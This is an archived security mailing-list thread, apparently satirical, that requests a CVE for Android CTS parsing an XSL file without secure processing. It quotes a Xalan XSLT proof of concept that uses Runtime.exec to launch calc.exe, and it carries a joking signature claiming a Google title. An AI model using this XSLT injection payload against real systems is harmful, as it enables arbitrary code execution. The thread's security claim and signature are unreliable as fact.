Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAGGN9efWYTCWzBg1gtzAEsE13oSq2SAe+9kGch3d_kUXP2coMg@mail.gmail.com>
Date: Mon, 20 Oct 2014 08:29:16 +1000
From: Lord Tuskington <l.tuskington@...il.com>
To: Full Disclosure List <fulldisclosure@...lists.org>, oss-security@...ts.openwall.com
Subject: Re: CVE request: remote code execution in Android CTS

I disagree with Nick Kralevich's response. An attacker who has the ability
to locally modify an XSL file should not be able to leverage this to
achieve code execution. This crosses a trust boundary.

As for why I didn't report this to security@...roid.com, when Google starts
paying corporate tax instead of dodging it, I will report issues privately.

Lord Tuskington
Chief Financial Taxdodger
Google

On Sun, Oct 19, 2014 at 7:28 PM, Lord Tuskington <l.tuskington@...il.com>
wrote:

> CTS parses api-coverage.xsl without providing the
> FEATURE_SECURE_PROCESSING option. See lines 60-67 of
> cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:
>
> InputStream xsl =
> CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
> StreamSource xslSource = new StreamSource(xsl);
> TransformerFactory factory = TransformerFactory.newInstance();
> Transformer transformer = factory.newTransformer(xslSource);
>
> StreamSource xmlSource = new StreamSource(xmlIn);
> StreamResult result = new StreamResult(out);
> transformer.transform(xmlSource, result);
>
> An attacker who is able to control api-coverage.xsl could inject arbitrary
> code into it, which would be executed. For example:
>
> <xsl:stylesheet version="1.0"
> xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
> xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
> xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
> >
> <xsl:output method="text"/>
>     <xsl:template match="/">
>        <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
>        <xsl:variable name="RT" select="rt:getRuntime()"/>
>        <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
>        <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
>     </xsl:template>
> </xsl:stylesheet>
>
> Would pop a calc. This crosses a trust boundary because an attacker could
> provide an XSL stylesheet that, for example, has enhanced visual layout. A
> person consuming that stylesheet would assume it could not possibly contain
> arbitrary code that would be executed, as it's just a stylesheet. The XSL
> extensions to execute code should be disabled by passing
> FEATURE_SECURE_PROCESSING.
>
> Regards
>
> Lord Tuskington
>
> Chief Financial Pinniped
>
> TuskCorp
>

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.